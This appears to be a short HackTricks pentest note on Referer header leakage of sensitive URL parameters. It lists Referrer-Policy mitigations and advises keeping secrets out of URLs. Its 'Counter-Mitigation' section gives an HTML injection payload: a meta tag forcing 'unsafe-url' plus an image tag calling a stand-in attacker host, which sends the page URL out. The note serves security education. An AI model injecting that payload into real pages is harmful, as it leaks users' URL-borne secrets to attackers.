interesting-http.md

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Referrer headers and policy

Referrer is the header used by browsers to indicate which was the previous page visited.

Sensitive information leaked

If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.

Mitigation

You can make the browser follow a Referrer-policy that could avoid the sensitive information to be sent to other web applications:

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Counter-Mitigation

You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

Defense

Never put any sensitive data inside GET parameters or paths in the URL.

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• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

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• Get the official PEASS & HackTricks swag

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